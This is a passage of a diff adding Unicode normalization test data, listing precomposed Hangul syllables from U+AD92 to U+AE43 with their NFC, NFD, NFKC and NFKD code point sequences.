+{ source: [0xAD92], NFC: [0xAD92], NFD: [0x1100, 0x116F, 0x11B1], NFKC: [0xAD92], NFKD: [0x1100, 0x116F, 0x11B1] },
+{ source: [0xAD93], NFC: [0xAD93], NFD: [0x1100, 0x116F, 0x11B2], NFKC: [0xAD93], NFKD: [0x1100, 0x116F, 0x11B2] },
+{ source: [0xAD94], NFC: [0xAD94], NFD: [0x1100, 0x116F, 0x11B3], NFKC: [0xAD94], NFKD: [0x1100, 0x116F, 0x11B3] },
+{ source: [0xAD95], NFC: [0xAD95], NFD: [0x1100, 0x116F, 0x11B4], NFKC: [0xAD95], NFKD: [0x1100, 0x116F, 0x11B4] },
+{ source: [0xAD96], NFC: [0xAD96], NFD: [0x1100, 0x116F, 0x11B5], NFKC: [0xAD96], NFKD: [0x1100, 0x116F, 0x11B5] },
+{ source: [0xAD97], NFC: [0xAD97], NFD: [0x1100, 0x116F, 0x11B6], NFKC: [0xAD97], NFKD: [0x1100, 0x116F, 0x11B6] },
+{ source: [0xAD98], NFC: [0xAD98], NFD: [0x1100, 0x116F, 0x11B7], NFKC: [0xAD98], NFKD: [0x1100, 0x116F, 0x11B7] },
+{ source: [0xAD99], NFC: [0xAD99], NFD: [0x1100, 0x116F, 0x11B8], NFKC: [0xAD99], NFKD: [0x1100, 0x116F, 0x11B8] },
+{ source: [0xAD9A], NFC: [0xAD9A], NFD: [0x1100, 0x116F, 0x11B9], NFKC: [0xAD9A], NFKD: [0x1100, 0x116F, 0x11B9] },
+{ source: [0xAD9B], NFC: [0xAD9B], NFD: [0x1100, 0x116F, 0x11BA], NFKC: [0xAD9B], NFKD: [0x1100, 0x116F, 0x11BA] },
+{ source: [0xAD9C], NFC: [0xAD9C], NFD: [0x1100, 0x116F, 0x11BB], NFKC: [0xAD9C], NFKD: [0x1100, 0x116F, 0x11BB] },
+{ source: [0xAD9D], NFC: [0xAD9D], NFD: [0x1100, 0x116F, 0x11BC], NFKC: [0xAD9D], NFKD: [0x1100, 0x116F, 0x11BC] },
+{ source: [0xAD9E], NFC: [0xAD9E], NFD: [0x1100, 0x116F, 0x11BD], NFKC: [0xAD9E], NFKD: [0x1100, 0x116F, 0x11BD] },
+{ source: [0xAD9F], NFC: [0xAD9F], NFD: [0x1100, 0x116F, 0x11BE], NFKC: [0xAD9F], NFKD: [0x1100, 0x116F, 0x11BE] },
+{ source: [0xADA0], NFC: [0xADA0], NFD: [0x1100, 0x116F, 0x11BF], NFKC: [0xADA0], NFKD: [0x1100, 0x116F, 0x11BF] },
+{ source: [0xADA1], NFC: [0xADA1], NFD: [0x1100, 0x116F, 0x11C0], NFKC: [0xADA1], NFKD: [0x1100, 0x116F, 0x11C0] },
+{ source: [0xADA2], NFC: [0xADA2], NFD: [0x1100, 0x116F, 0x11C1], NFKC: [0xADA2], NFKD: [0x1100, 0x116F, 0x11C1] },
+{ source: [0xADA3], NFC: [0xADA3], NFD: [0x1100, 0x116F, 0x11C2], NFKC: [0xADA3], NFKD: [0x1100, 0x116F, 0x11C2] },
+{ source: [0xADA4], NFC: [0xADA4], NFD: [0x1100, 0x1170], NFKC: [0xADA4], NFKD: [0x1100, 0x1170] },
+{ source: [0xADA5], NFC: [0xADA5], NFD: [0x1100, 0x1170, 0x11A8], NFKC: [0xADA5], NFKD: [0x1100, 0x1170, 0x11A8] },
+{ source: [0xADA6], NFC: [0xADA6], NFD: [0x1100, 0x1170, 0x11A9], NFKC: [0xADA6], NFKD: [0x1100, 0x1170, 0x11A9] },
+{ source: [0xADA7], NFC: [0xADA7], NFD: [0x1100, 0x1170, 0x11AA], NFKC: [0xADA7], NFKD: [0x1100, 0x1170, 0x11AA] },
+{ source: [0xADA8], NFC: [0xADA8], NFD: [0x1100, 0x1170, 0x11AB], NFKC: [0xADA8], NFKD: [0x1100, 0x1170, 0x11AB] },
+{ source: [0xADA9], NFC: [0xADA9], NFD: [0x1100, 0x1170, 0x11AC], NFKC: [0xADA9], NFKD: [0x1100, 0x1170, 0x11AC] },
+{ source: [0xADAA], NFC: [0xADAA], NFD: [0x1100, 0x1170, 0x11AD], NFKC: [0xADAA], NFKD: [0x1100, 0x1170, 0x11AD] },
+{ source: [0xADAB], NFC: [0xADAB], NFD: [0x1100, 0x1170, 0x11AE], NFKC: [0xADAB], NFKD: [0x1100, 0x1170, 0x11AE] },
+{ source: [0xADAC], NFC: [0xADAC], NFD: [0x1100, 0x1170, 0x11AF], NFKC: [0xADAC], NFKD: [0x1100, 0x1170, 0x11AF] },
+{ source: [0xADAD], NFC: [0xADAD], NFD: [0x1100, 0x1170, 0x11B0], NFKC: [0xADAD], NFKD: [0x1100, 0x1170, 0x11B0] },
+{ source: [0xADAE], NFC: [0xADAE], NFD: [0x1100, 0x1170, 0x11B1], NFKC: [0xADAE], NFKD: [0x1100, 0x1170, 0x11B1] },
+{ source: [0xADAF], NFC: [0xADAF], NFD: [0x1100, 0x1170, 0x11B2], NFKC: [0xADAF], NFKD: [0x1100, 0x1170, 0x11B2] },
+{ source: [0xADB0], NFC: [0xADB0], NFD: [0x1100, 0x1170, 0x11B3], NFKC: [0xADB0], NFKD: [0x1100, 0x1170, 0x11B3] },
+{ source: [0xADB1], NFC: [0xADB1], NFD: [0x1100, 0x1170, 0x11B4], NFKC: [0xADB1], NFKD: [0x1100, 0x1170, 0x11B4] },
+{ source: [0xADB2], NFC: [0xADB2], NFD: [0x1100, 0x1170, 0x11B5], NFKC: [0xADB2], NFKD: [0x1100, 0x1170, 0x11B5] },
+{ source: [0xADB3], NFC: [0xADB3], NFD: [0x1100, 0x1170, 0x11B6], NFKC: [0xADB3], NFKD: [0x1100, 0x1170, 0x11B6] },
+{ source: [0xADB4], NFC: [0xADB4], NFD: [0x1100, 0x1170, 0x11B7], NFKC: [0xADB4], NFKD: [0x1100, 0x1170, 0x11B7] },
+{ source: [0xADB5], NFC: [0xADB5], NFD: [0x1100, 0x1170, 0x11B8], NFKC: [0xADB5], NFKD: [0x1100, 0x1170, 0x11B8] },
+{ source: [0xADB6], NFC: [0xADB6], NFD: [0x1100, 0x1170, 0x11B9], NFKC: [0xADB6], NFKD: [0x1100, 0x1170, 0x11B9] },
+{ source: [0xADB7], NFC: [0xADB7], NFD: [0x1100, 0x1170, 0x11BA], NFKC: [0xADB7], NFKD: [0x1100, 0x1170, 0x11BA] },
+{ source: [0xADB8], NFC: [0xADB8], NFD: [0x1100, 0x1170, 0x11BB], NFKC: [0xADB8], NFKD: [0x1100, 0x1170, 0x11BB] },
+{ source: [0xADB9], NFC: [0xADB9], NFD: [0x1100, 0x1170, 0x11BC], NFKC: [0xADB9], NFKD: [0x1100, 0x1170, 0x11BC] },
+{ source: [0xADBA], NFC: [0xADBA], NFD: [0x1100, 0x1170, 0x11BD], NFKC: [0xADBA], NFKD: [0x1100, 0x1170, 0x11BD] },
+{ source: [0xADBB], NFC: [0xADBB], NFD: [0x1100, 0x1170, 0x11BE], NFKC: [0xADBB], NFKD: [0x1100, 0x1170, 0x11BE] },
+{ source: [0xADBC], NFC: [0xADBC], NFD: [0x1100, 0x1170, 0x11BF], NFKC: [0xADBC], NFKD: [0x1100, 0x1170, 0x11BF] },
+{ source: [0xADBD], NFC: [0xADBD], NFD: [0x1100, 0x1170, 0x11C0], NFKC: [0xADBD], NFKD: [0x1100, 0x1170, 0x11C0] },
+{ source: [0xADBE], NFC: [0xADBE], NFD: [0x1100, 0x1170, 0x11C1], NFKC: [0xADBE], NFKD: [0x1100, 0x1170, 0x11C1] },
+{ source: [0xADBF], NFC: [0xADBF], NFD: [0x1100, 0x1170, 0x11C2], NFKC: [0xADBF], NFKD: [0x1100, 0x1170, 0x11C2] },
+{ source: [0xADC0], NFC: [0xADC0], NFD: [0x1100, 0x1171], NFKC: [0xADC0], NFKD: [0x1100, 0x1171] },
+{ source: [0xADC1], NFC: [0xADC1], NFD: [0x1100, 0x1171, 0x11A8], NFKC: [0xADC1], NFKD: [0x1100, 0x1171, 0x11A8] },
+{ source: [0xADC2], NFC: [0xADC2], NFD: [0x1100, 0x1171, 0x11A9], NFKC: [0xADC2], NFKD: [0x1100, 0x1171, 0x11A9] },
+{ source: [0xADC3], NFC: [0xADC3], NFD: [0x1100, 0x1171, 0x11AA], NFKC: [0xADC3], NFKD: [0x1100, 0x1171, 0x11AA] },
+{ source: [0xADC4], NFC: [0xADC4], NFD: [0x1100, 0x1171, 0x11AB], NFKC: [0xADC4], NFKD: [0x1100, 0x1171, 0x11AB] },
+{ source: [0xADC5], NFC: [0xADC5], NFD: [0x1100, 0x1171, 0x11AC], NFKC: [0xADC5], NFKD: [0x1100, 0x1171, 0x11AC] },
+{ source: [0xADC6], NFC: [0xADC6], NFD: [0x1100, 0x1171, 0x11AD], NFKC: [0xADC6], NFKD: [0x1100, 0x1171, 0x11AD] },
+{ source: [0xADC7], NFC: [0xADC7], NFD: [0x1100, 0x1171, 0x11AE], NFKC: [0xADC7], NFKD: [0x1100, 0x1171, 0x11AE] },
+{ source: [0xADC8], NFC: [0xADC8], NFD: [0x1100, 0x1171, 0x11AF], NFKC: [0xADC8], NFKD: [0x1100, 0x1171, 0x11AF] },
+{ source: [0xADC9], NFC: [0xADC9], NFD: [0x1100, 0x1171, 0x11B0], NFKC: [0xADC9], NFKD: [0x1100, 0x1171, 0x11B0] },
+{ source: [0xADCA], NFC: [0xADCA], NFD: [0x1100, 0x1171, 0x11B1], NFKC: [0xADCA], NFKD: [0x1100, 0x1171, 0x11B1] },
+{ source: [0xADCB], NFC: [0xADCB], NFD: [0x1100, 0x1171, 0x11B2], NFKC: [0xADCB], NFKD: [0x1100, 0x1171, 0x11B2] },
+{ source: [0xADCC], NFC: [0xADCC], NFD: [0x1100, 0x1171, 0x11B3], NFKC: [0xADCC], NFKD: [0x1100, 0x1171, 0x11B3] },
+{ source: [0xADCD], NFC: [0xADCD], NFD: [0x1100, 0x1171, 0x11B4], NFKC: [0xADCD], NFKD: [0x1100, 0x1171, 0x11B4] },
+{ source: [0xADCE], NFC: [0xADCE], NFD: [0x1100, 0x1171, 0x11B5], NFKC: [0xADCE], NFKD: [0x1100, 0x1171, 0x11B5] },
+{ source: [0xADCF], NFC: [0xADCF], NFD: [0x1100, 0x1171, 0x11B6], NFKC: [0xADCF], NFKD: [0x1100, 0x1171, 0x11B6] },
+{ source: [0xADD0], NFC: [0xADD0], NFD: [0x1100, 0x1171, 0x11B7], NFKC: [0xADD0], NFKD: [0x1100, 0x1171, 0x11B7] },
+{ source: [0xADD1], NFC: [0xADD1], NFD: [0x1100, 0x1171, 0x11B8], NFKC: [0xADD1], NFKD: [0x1100, 0x1171, 0x11B8] },
+{ source: [0xADD2], NFC: [0xADD2], NFD: [0x1100, 0x1171, 0x11B9], NFKC: [0xADD2], NFKD: [0x1100, 0x1171, 0x11B9] },
+{ source: [0xADD3], NFC: [0xADD3], NFD: [0x1100, 0x1171, 0x11BA], NFKC: [0xADD3], NFKD: [0x1100, 0x1171, 0x11BA] },
+{ source: [0xADD4], NFC: [0xADD4], NFD: [0x1100, 0x1171, 0x11BB], NFKC: [0xADD4], NFKD: [0x1100, 0x1171, 0x11BB] },
+{ source: [0xADD5], NFC: [0xADD5], NFD: [0x1100, 0x1171, 0x11BC], NFKC: [0xADD5], NFKD: [0x1100, 0x1171, 0x11BC] },
+{ source: [0xADD6], NFC: [0xADD6], NFD: [0x1100, 0x1171, 0x11BD], NFKC: [0xADD6], NFKD: [0x1100, 0x1171, 0x11BD] },
+{ source: [0xADD7], NFC: [0xADD7], NFD: [0x1100, 0x1171, 0x11BE], NFKC: [0xADD7], NFKD: [0x1100, 0x1171, 0x11BE] },
+{ source: [0xADD8], NFC: [0xADD8], NFD: [0x1100, 0x1171, 0x11BF], NFKC: [0xADD8], NFKD: [0x1100, 0x1171, 0x11BF] },
+{ source: [0xADD9], NFC: [0xADD9], NFD: [0x1100, 0x1171, 0x11C0], NFKC: [0xADD9], NFKD: [0x1100, 0x1171, 0x11C0] },
+{ source: [0xADDA], NFC: [0xADDA], NFD: [0x1100, 0x1171, 0x11C1], NFKC: [0xADDA], NFKD: [0x1100, 0x1171, 0x11C1] },
+{ source: [0xADDB], NFC: [0xADDB], NFD: [0x1100, 0x1171, 0x11C2], NFKC: [0xADDB], NFKD: [0x1100, 0x1171, 0x11C2] },
+{ source: [0xADDC], NFC: [0xADDC], NFD: [0x1100, 0x1172], NFKC: [0xADDC], NFKD: [0x1100, 0x1172] },
+{ source: [0xADDD], NFC: [0xADDD], NFD: [0x1100, 0x1172, 0x11A8], NFKC: [0xADDD], NFKD: [0x1100, 0x1172, 0x11A8] },
+{ source: [0xADDE], NFC: [0xADDE], NFD: [0x1100, 0x1172, 0x11A9], NFKC: [0xADDE], NFKD: [0x1100, 0x1172, 0x11A9] },
+{ source: [0xADDF], NFC: [0xADDF], NFD: [0x1100, 0x1172, 0x11AA], NFKC: [0xADDF], NFKD: [0x1100, 0x1172, 0x11AA] },
+{ source: [0xADE0], NFC: [0xADE0], NFD: [0x1100, 0x1172, 0x11AB], NFKC: [0xADE0], NFKD: [0x1100, 0x1172, 0x11AB] },
+{ source: [0xADE1], NFC: [0xADE1], NFD: [0x1100, 0x1172, 0x11AC], NFKC: [0xADE1], NFKD: [0x1100, 0x1172, 0x11AC] },
+{ source: [0xADE2], NFC: [0xADE2], NFD: [0x1100, 0x1172, 0x11AD], NFKC: [0xADE2], NFKD: [0x1100, 0x1172, 0x11AD] },
+{ source: [0xADE3], NFC: [0xADE3], NFD: [0x1100, 0x1172, 0x11AE], NFKC: [0xADE3], NFKD: [0x1100, 0x1172, 0x11AE] },
+{ source: [0xADE4], NFC: [0xADE4], NFD: [0x1100, 0x1172, 0x11AF], NFKC: [0xADE4], NFKD: [0x1100, 0x1172, 0x11AF] },
+{ source: [0xADE5], NFC: [0xADE5], NFD: [0x1100, 0x1172, 0x11B0], NFKC: [0xADE5], NFKD: [0x1100, 0x1172, 0x11B0] },
+{ source: [0xADE6], NFC: [0xADE6], NFD: [0x1100, 0x1172, 0x11B1], NFKC: [0xADE6], NFKD: [0x1100, 0x1172, 0x11B1] },
+{ source: [0xADE7], NFC: [0xADE7], NFD: [0x1100, 0x1172, 0x11B2], NFKC: [0xADE7], NFKD: [0x1100, 0x1172, 0x11B2] },
+{ source: [0xADE8], NFC: [0xADE8], NFD: [0x1100, 0x1172, 0x11B3], NFKC: [0xADE8], NFKD: [0x1100, 0x1172, 0x11B3] },
+{ source: [0xADE9], NFC: [0xADE9], NFD: [0x1100, 0x1172, 0x11B4], NFKC: [0xADE9], NFKD: [0x1100, 0x1172, 0x11B4] },
+{ source: [0xADEA], NFC: [0xADEA], NFD: [0x1100, 0x1172, 0x11B5], NFKC: [0xADEA], NFKD: [0x1100, 0x1172, 0x11B5] },
+{ source: [0xADEB], NFC: [0xADEB], NFD: [0x1100, 0x1172, 0x11B6], NFKC: [0xADEB], NFKD: [0x1100, 0x1172, 0x11B6] },
+{ source: [0xADEC], NFC: [0xADEC], NFD: [0x1100, 0x1172, 0x11B7], NFKC: [0xADEC], NFKD: [0x1100, 0x1172, 0x11B7] },
+{ source: [0xADED], NFC: [0xADED], NFD: [0x1100, 0x1172, 0x11B8], NFKC: [0xADED], NFKD: [0x1100, 0x1172, 0x11B8] },
+{ source: [0xADEE], NFC: [0xADEE], NFD: [0x1100, 0x1172, 0x11B9], NFKC: [0xADEE], NFKD: [0x1100, 0x1172, 0x11B9] },
+{ source: [0xADEF], NFC: [0xADEF], NFD: [0x1100, 0x1172, 0x11BA], NFKC: [0xADEF], NFKD: [0x1100, 0x1172, 0x11BA] },
+{ source: [0xADF0], NFC: [0xADF0], NFD: [0x1100, 0x1172, 0x11BB], NFKC: [0xADF0], NFKD: [0x1100, 0x1172, 0x11BB] },
+{ source: [0xADF1], NFC: [0xADF1], NFD: [0x1100, 0x1172, 0x11BC], NFKC: [0xADF1], NFKD: [0x1100, 0x1172, 0x11BC] },
+{ source: [0xADF2], NFC: [0xADF2], NFD: [0x1100, 0x1172, 0x11BD], NFKC: [0xADF2], NFKD: [0x1100, 0x1172, 0x11BD] },
+{ source: [0xADF3], NFC: [0xADF3], NFD: [0x1100, 0x1172, 0x11BE], NFKC: [0xADF3], NFKD: [0x1100, 0x1172, 0x11BE] },
+{ source: [0xADF4], NFC: [0xADF4], NFD: [0x1100, 0x1172, 0x11BF], NFKC: [0xADF4], NFKD: [0x1100, 0x1172, 0x11BF] },
+{ source: [0xADF5], NFC: [0xADF5], NFD: [0x1100, 0x1172, 0x11C0], NFKC: [0xADF5], NFKD: [0x1100, 0x1172, 0x11C0] },
+{ source: [0xADF6], NFC: [0xADF6], NFD: [0x1100, 0x1172, 0x11C1], NFKC: [0xADF6], NFKD: [0x1100, 0x1172, 0x11C1] },
+{ source: [0xADF7], NFC: [0xADF7], NFD: [0x1100, 0x1172, 0x11C2], NFKC: [0xADF7], NFKD: [0x1100, 0x1172, 0x11C2] },
+{ source: [0xADF8], NFC: [0xADF8], NFD: [0x1100, 0x1173], NFKC: [0xADF8], NFKD: [0x1100, 0x1173] },
+{ source: [0xADF9], NFC: [0xADF9], NFD: [0x1100, 0x1173, 0x11A8], NFKC: [0xADF9], NFKD: [0x1100, 0x1173, 0x11A8] },
+{ source: [0xADFA], NFC: [0xADFA], NFD: [0x1100, 0x1173, 0x11A9], NFKC: [0xADFA], NFKD: [0x1100, 0x1173, 0x11A9] },
+{ source: [0xADFB], NFC: [0xADFB], NFD: [0x1100, 0x1173, 0x11AA], NFKC: [0xADFB], NFKD: [0x1100, 0x1173, 0x11AA] },
+{ source: [0xADFC], NFC: [0xADFC], NFD: [0x1100, 0x1173, 0x11AB], NFKC: [0xADFC], NFKD: [0x1100, 0x1173, 0x11AB] },
+{ source: [0xADFD], NFC: [0xADFD], NFD: [0x1100, 0x1173, 0x11AC], NFKC: [0xADFD], NFKD: [0x1100, 0x1173, 0x11AC] },
+{ source: [0xADFE], NFC: [0xADFE], NFD: [0x1100, 0x1173, 0x11AD], NFKC: [0xADFE], NFKD: [0x1100, 0x1173, 0x11AD] },
+{ source: [0xADFF], NFC: [0xADFF], NFD: [0x1100, 0x1173, 0x11AE], NFKC: [0xADFF], NFKD: [0x1100, 0x1173, 0x11AE] },
+{ source: [0xAE00], NFC: [0xAE00], NFD: [0x1100, 0x1173, 0x11AF], NFKC: [0xAE00], NFKD: [0x1100, 0x1173, 0x11AF] },
+{ source: [0xAE01], NFC: [0xAE01], NFD: [0x1100, 0x1173, 0x11B0], NFKC: [0xAE01], NFKD: [0x1100, 0x1173, 0x11B0] },
+{ source: [0xAE02], NFC: [0xAE02], NFD: [0x1100, 0x1173, 0x11B1], NFKC: [0xAE02], NFKD: [0x1100, 0x1173, 0x11B1] },
+{ source: [0xAE03], NFC: [0xAE03], NFD: [0x1100, 0x1173, 0x11B2], NFKC: [0xAE03], NFKD: [0x1100, 0x1173, 0x11B2] },
+{ source: [0xAE04], NFC: [0xAE04], NFD: [0x1100, 0x1173, 0x11B3], NFKC: [0xAE04], NFKD: [0x1100, 0x1173, 0x11B3] },
+{ source: [0xAE05], NFC: [0xAE05], NFD: [0x1100, 0x1173, 0x11B4], NFKC: [0xAE05], NFKD: [0x1100, 0x1173, 0x11B4] },
+{ source: [0xAE06], NFC: [0xAE06], NFD: [0x1100, 0x1173, 0x11B5], NFKC: [0xAE06], NFKD: [0x1100, 0x1173, 0x11B5] },
+{ source: [0xAE07], NFC: [0xAE07], NFD: [0x1100, 0x1173, 0x11B6], NFKC: [0xAE07], NFKD: [0x1100, 0x1173, 0x11B6] },
+{ source: [0xAE08], NFC: [0xAE08], NFD: [0x1100, 0x1173, 0x11B7], NFKC: [0xAE08], NFKD: [0x1100, 0x1173, 0x11B7] },
+{ source: [0xAE09], NFC: [0xAE09], NFD: [0x1100, 0x1173, 0x11B8], NFKC: [0xAE09], NFKD: [0x1100, 0x1173, 0x11B8] },
+{ source: [0xAE0A], NFC: [0xAE0A], NFD: [0x1100, 0x1173, 0x11B9], NFKC: [0xAE0A], NFKD: [0x1100, 0x1173, 0x11B9] },
+{ source: [0xAE0B], NFC: [0xAE0B], NFD: [0x1100, 0x1173, 0x11BA], NFKC: [0xAE0B], NFKD: [0x1100, 0x1173, 0x11BA] },
+{ source: [0xAE0C], NFC: [0xAE0C], NFD: [0x1100, 0x1173, 0x11BB], NFKC: [0xAE0C], NFKD: [0x1100, 0x1173, 0x11BB] },
+{ source: [0xAE0D], NFC: [0xAE0D], NFD: [0x1100, 0x1173, 0x11BC], NFKC: [0xAE0D], NFKD: [0x1100, 0x1173, 0x11BC] },
+{ source: [0xAE0E], NFC: [0xAE0E], NFD: [0x1100, 0x1173, 0x11BD], NFKC: [0xAE0E], NFKD: [0x1100, 0x1173, 0x11BD] },
+{ source: [0xAE0F], NFC: [0xAE0F], NFD: [0x1100, 0x1173, 0x11BE], NFKC: [0xAE0F], NFKD: [0x1100, 0x1173, 0x11BE] },
+{ source: [0xAE10], NFC: [0xAE10], NFD: [0x1100, 0x1173, 0x11BF], NFKC: [0xAE10], NFKD: [0x1100, 0x1173, 0x11BF] },
+{ source: [0xAE11], NFC: [0xAE11], NFD: [0x1100, 0x1173, 0x11C0], NFKC: [0xAE11], NFKD: [0x1100, 0x1173, 0x11C0] },
+{ source: [0xAE12], NFC: [0xAE12], NFD: [0x1100, 0x1173, 0x11C1], NFKC: [0xAE12], NFKD: [0x1100, 0x1173, 0x11C1] },
+{ source: [0xAE13], NFC: [0xAE13], NFD: [0x1100, 0x1173, 0x11C2], NFKC: [0xAE13], NFKD: [0x1100, 0x1173, 0x11C2] },
+{ source: [0xAE14], NFC: [0xAE14], NFD: [0x1100, 0x1174], NFKC: [0xAE14], NFKD: [0x1100, 0x1174] },
+{ source: [0xAE15], NFC: [0xAE15], NFD: [0x1100, 0x1174, 0x11A8], NFKC: [0xAE15], NFKD: [0x1100, 0x1174, 0x11A8] },
+{ source: [0xAE16], NFC: [0xAE16], NFD: [0x1100, 0x1174, 0x11A9], NFKC: [0xAE16], NFKD: [0x1100, 0x1174, 0x11A9] },
+{ source: [0xAE17], NFC: [0xAE17], NFD: [0x1100, 0x1174, 0x11AA], NFKC: [0xAE17], NFKD: [0x1100, 0x1174, 0x11AA] },
+{ source: [0xAE18], NFC: [0xAE18], NFD: [0x1100, 0x1174, 0x11AB], NFKC: [0xAE18], NFKD: [0x1100, 0x1174, 0x11AB] },
+{ source: [0xAE19], NFC: [0xAE19], NFD: [0x1100, 0x1174, 0x11AC], NFKC: [0xAE19], NFKD: [0x1100, 0x1174, 0x11AC] },
+{ source: [0xAE1A], NFC: [0xAE1A], NFD: [0x1100, 0x1174, 0x11AD], NFKC: [0xAE1A], NFKD: [0x1100, 0x1174, 0x11AD] },
+{ source: [0xAE1B], NFC: [0xAE1B], NFD: [0x1100, 0x1174, 0x11AE], NFKC: [0xAE1B], NFKD: [0x1100, 0x1174, 0x11AE] },
+{ source: [0xAE1C], NFC: [0xAE1C], NFD: [0x1100, 0x1174, 0x11AF], NFKC: [0xAE1C], NFKD: [0x1100, 0x1174, 0x11AF] },
+{ source: [0xAE1D], NFC: [0xAE1D], NFD: [0x1100, 0x1174, 0x11B0], NFKC: [0xAE1D], NFKD: [0x1100, 0x1174, 0x11B0] },
+{ source: [0xAE1E], NFC: [0xAE1E], NFD: [0x1100, 0x1174, 0x11B1], NFKC: [0xAE1E], NFKD: [0x1100, 0x1174, 0x11B1] },
+{ source: [0xAE1F], NFC: [0xAE1F], NFD: [0x1100, 0x1174, 0x11B2], NFKC: [0xAE1F], NFKD: [0x1100, 0x1174, 0x11B2] },
+{ source: [0xAE20], NFC: [0xAE20], NFD: [0x1100, 0x1174, 0x11B3], NFKC: [0xAE20], NFKD: [0x1100, 0x1174, 0x11B3] },
+{ source: [0xAE21], NFC: [0xAE21], NFD: [0x1100, 0x1174, 0x11B4], NFKC: [0xAE21], NFKD: [0x1100, 0x1174, 0x11B4] },
+{ source: [0xAE22], NFC: [0xAE22], NFD: [0x1100, 0x1174, 0x11B5], NFKC: [0xAE22], NFKD: [0x1100, 0x1174, 0x11B5] },
+{ source: [0xAE23], NFC: [0xAE23], NFD: [0x1100, 0x1174, 0x11B6], NFKC: [0xAE23], NFKD: [0x1100, 0x1174, 0x11B6] },
+{ source: [0xAE24], NFC: [0xAE24], NFD: [0x1100, 0x1174, 0x11B7], NFKC: [0xAE24], NFKD: [0x1100, 0x1174, 0x11B7] },
+{ source: [0xAE25], NFC: [0xAE25], NFD: [0x1100, 0x1174, 0x11B8], NFKC: [0xAE25], NFKD: [0x1100, 0x1174, 0x11B8] },
+{ source: [0xAE26], NFC: [0xAE26], NFD: [0x1100, 0x1174, 0x11B9], NFKC: [0xAE26], NFKD: [0x1100, 0x1174, 0x11B9] },
+{ source: [0xAE27], NFC: [0xAE27], NFD: [0x1100, 0x1174, 0x11BA], NFKC: [0xAE27], NFKD: [0x1100, 0x1174, 0x11BA] },
+{ source: [0xAE28], NFC: [0xAE28], NFD: [0x1100, 0x1174, 0x11BB], NFKC: [0xAE28], NFKD: [0x1100, 0x1174, 0x11BB] },
+{ source: [0xAE29], NFC: [0xAE29], NFD: [0x1100, 0x1174, 0x11BC], NFKC: [0xAE29], NFKD: [0x1100, 0x1174, 0x11BC] },
+{ source: [0xAE2A], NFC: [0xAE2A], NFD: [0x1100, 0x1174, 0x11BD], NFKC: [0xAE2A], NFKD: [0x1100, 0x1174, 0x11BD] },
+{ source: [0xAE2B], NFC: [0xAE2B], NFD: [0x1100, 0x1174, 0x11BE], NFKC: [0xAE2B], NFKD: [0x1100, 0x1174, 0x11BE] },
+{ source: [0xAE2C], NFC: [0xAE2C], NFD: [0x1100, 0x1174, 0x11BF], NFKC: [0xAE2C], NFKD: [0x1100, 0x1174, 0x11BF] },
+{ source: [0xAE2D], NFC: [0xAE2D], NFD: [0x1100, 0x1174, 0x11C0], NFKC: [0xAE2D], NFKD: [0x1100, 0x1174, 0x11C0] },
+{ source: [0xAE2E], NFC: [0xAE2E], NFD: [0x1100, 0x1174, 0x11C1], NFKC: [0xAE2E], NFKD: [0x1100, 0x1174, 0x11C1] },
+{ source: [0xAE2F], NFC: [0xAE2F], NFD: [0x1100, 0x1174, 0x11C2], NFKC: [0xAE2F], NFKD: [0x1100, 0x1174, 0x11C2] },
+{ source: [0xAE30], NFC: [0xAE30], NFD: [0x1100, 0x1175], NFKC: [0xAE30], NFKD: [0x1100, 0x1175] },
+{ source: [0xAE31], NFC: [0xAE31], NFD: [0x1100, 0x1175, 0x11A8], NFKC: [0xAE31], NFKD: [0x1100, 0x1175, 0x11A8] },
+{ source: [0xAE32], NFC: [0xAE32], NFD: [0x1100, 0x1175, 0x11A9], NFKC: [0xAE32], NFKD: [0x1100, 0x1175, 0x11A9] },
+{ source: [0xAE33], NFC: [0xAE33], NFD: [0x1100, 0x1175, 0x11AA], NFKC: [0xAE33], NFKD: [0x1100, 0x1175, 0x11AA] },
+{ source: [0xAE34], NFC: [0xAE34], NFD: [0x1100, 0x1175, 0x11AB], NFKC: [0xAE34], NFKD: [0x1100, 0x1175, 0x11AB] },
+{ source: [0xAE35], NFC: [0xAE35], NFD: [0x1100, 0x1175, 0x11AC], NFKC: [0xAE35], NFKD: [0x1100, 0x1175, 0x11AC] },
+{ source: [0xAE36], NFC: [0xAE36], NFD: [0x1100, 0x1175, 0x11AD], NFKC: [0xAE36], NFKD: [0x1100, 0x1175, 0x11AD] },
+{ source: [0xAE37], NFC: [0xAE37], NFD: [0x1100, 0x1175, 0x11AE], NFKC: [0xAE37], NFKD: [0x1100, 0x1175, 0x11AE] },
+{ source: [0xAE38], NFC: [0xAE38], NFD: [0x1100, 0x1175, 0x11AF], NFKC: [0xAE38], NFKD: [0x1100, 0x1175, 0x11AF] },
+{ source: [0xAE39], NFC: [0xAE39], NFD: [0x1100, 0x1175, 0x11B0], NFKC: [0xAE39], NFKD: [0x1100, 0x1175, 0x11B0] },
+{ source: [0xAE3A], NFC: [0xAE3A], NFD: [0x1100, 0x1175, 0x11B1], NFKC: [0xAE3A], NFKD: [0x1100, 0x1175, 0x11B1] },
+{ source: [0xAE3B], NFC: [0xAE3B], NFD: [0x1100, 0x1175, 0x11B2], NFKC: [0xAE3B], NFKD: [0x1100, 0x1175, 0x11B2] },
+{ source: [0xAE3C], NFC: [0xAE3C], NFD: [0x1100, 0x1175, 0x11B3], NFKC: [0xAE3C], NFKD: [0x1100, 0x1175, 0x11B3] },
+{ source: [0xAE3D], NFC: [0xAE3D], NFD: [0x1100, 0x1175, 0x11B4], NFKC: [0xAE3D], NFKD: [0x1100, 0x1175, 0x11B4] },
+{ source: [0xAE3E], NFC: [0xAE3E], NFD: [0x1100, 0x1175, 0x11B5], NFKC: [0xAE3E], NFKD: [0x1100, 0x1175, 0x11B5] },
+{ source: [0xAE3F], NFC: [0xAE3F], NFD: [0x1100, 0x1175, 0x11B6], NFKC: [0xAE3F], NFKD: [0x1100, 0x1175, 0x11B6] },
+{ source: [0xAE40], NFC: [0xAE40], NFD: [0x1100, 0x1175, 0x11B7], NFKC: [0xAE40], NFKD: [0x1100, 0x1175, 0x11B7] },
+{ source: [0xAE41], NFC: [0xAE41], NFD: [0x1100, 0x1175, 0x11B8], NFKC: [0xAE41], NFKD: [0x1100, 0x1175, 0x11B8] },
+{ source: [0xAE42], NFC: [0xAE42], NFD: [0x1100, 0x1175, 0x11B9], NFKC: [0xAE42], NFKD: [0x1100, 0x1175, 0x11B9] },
+{ source: [0xAE43], NFC: [0xAE43], NFD: [0x1100, 0x1175, 0x11BA], NFKC: [0xAE43], NFKD: [0x1100, 0x1175, 0x11BA] },
